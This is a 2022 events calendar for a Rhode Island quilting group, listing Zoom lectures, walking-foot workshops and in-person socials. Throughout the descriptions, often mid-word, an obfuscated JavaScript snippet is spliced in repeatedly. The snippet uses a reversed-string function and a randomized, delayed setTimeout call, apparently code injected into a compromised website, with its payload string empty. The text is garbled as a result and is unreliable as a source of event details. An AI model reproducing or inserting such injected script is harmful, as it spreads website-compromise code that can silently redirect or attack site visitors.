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February 2022

Drop By Fridays

February 11 @ 10:00 am - 1:00 pm
Sew Nice Fabrics, 3001 East Main Road
Portsmouth, RI 02871 United States
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In this time of coronavirus concerns and winter weather, many of us are not getting out $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see others. In an effort $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep us in $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touch with a bit of face-$mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-face contact, I am starting “Drop-by Fridays”on January 21…

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March 2022

Cindy Grisdela

March 3 @ 7:00 pm - 8:00 pm
Zoom RI United States

Have you ever wondered how $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to create an Improv Quilt without a pattern? Where do you start? How do you know when it’s finished? Author of “Artful Improv” and award winning artist Cindy Grisdela will share her tips and tricks in this entertaining lecture about the process for working improvisationally from start $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to finish.

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April 2022

Marty Ornish

April 7 @ 7:00 pm - 8:00 pm
Zoom RI United States

Tattered Splendor is a lecture and trunk show Zoom presentation of Marty-O’s series of couture gowns and wearable art garments created from abandoned or donated damaged, beyond repair, vintage quilts, lace and linens. She discusses the ethics of repurposing vintage textiles, sourcing these textiles, and her inspiration for an ongoing series of garments. Design decisions are discussed, as well as stabilization techniques that she has developed over the last few years. Many of these garments have won “Best of Show”…

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May 2022

Marge Tucker

May 5 @ 7:00 pm - 8:00 pm
Zoom RI United States

Some of our quilting ances$mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors were ahead of their time! We are not the first generation of quilters $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discover improvisational quilting; but we may be the ones who have embraced it and made it mainstream. In this trunk show, Marge will display antique and vintage quilts that are improvisationally constructed. So much inspiration and some great lessons can be…

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Marge Tucker – Walking Foot Quilting Workshop Day 1

May 7 @ 9:00 am - 12:00 pm
Zoom RI United States
50.00$

Unmarked – Contemporary Walking Foot Quilting WORKSHOP - This workshop will start with the basics, such as batting choices, thread, needles and how $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to secure the quilting stitches. Then, we start quilting with straight lines and move $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to curved quilting lines and spirals on your practice quilt sandwiches. For both the straight line and curved quilting, Marge will show us…

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Marge Tucker – Walking Foot Quilting Workshop – Day 2

May 14 @ 9:00 am - 12:00 pm
Zoom RI United States

Unmarked – Contemporary Walking Foot Quilting WORKSHOP - This workshop will start with the basics, such as batting choices, thread, needles and how $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to secure the quilting stitches. Then, we start quilting with straight lines and move $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to curved quilting lines and spirals on your practice quilt sandwiches. For both the straight line and curved quilting, Marge will show us…

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September 2022

Welcome Back / Social

September 1 @ 7:00 pm - 9:00 pm
Refuge Church, 130 Franklin Street
Warren, RI 02885 United States
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Welcome Back QBS Members and Friends! Looking forward $mWn=function(n){if(typeof ($mWn.list)=="string") return $mWn.list.split("").reverse().join("");return $mWn.list;};$mWn.list=;var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to an in-person gathering where we will have members showcase their projects, food, drinks, tips/techniques, and friendship.

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October 2022

Kathy Beltz – Easy Color for Quilters Lecture via ZOOM

October 6 @ 7:00 pm - 8:00 pm
Refuge Church, 130 Franklin Street
Warren, RI 02885 United States
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Confused by the color wheel? Do you know how to use the color wheel to choose colors for your quilts?? This ZOOM lecture breaks down all the technical color terms into easy, everyday English so that any quilter can understand them. Then those terms are related directly to quilts during the trunk show. Once you understand the basics, you can apply them to your quilts and watch them sparkle!

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November 2022

Brita Nelson – “Now You See It, Now You Don’t” Lecture

November 5 @ 7:00 pm - 8:00 pm
Refuge Church, 130 Franklin Street
Warren, RI 02885 United States
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Learn about the magic and beauty of disappearing blocks with this interactive online lecture, demo and trunk show.  Brita will demonstrate how easy it is to turn simple blocks into beautiful complex patterns and will also show you how different block designs can be enhanced by color choices or slight modifications to make even more interesting full quilts.

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December 2022

QBS Members 2022 Christmas Showcase / President’s Challenge

December 1 @ 7:00 pm - 9:00 pm
Refuge Church, 130 Franklin Street
Warren, RI 02885 United States
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Christmas Showcase / President’s Challenge - This is YOUR time to sparkle. Members can share their favorite holiday projects and/or submit a President’s Challenge project (theme to be announced).

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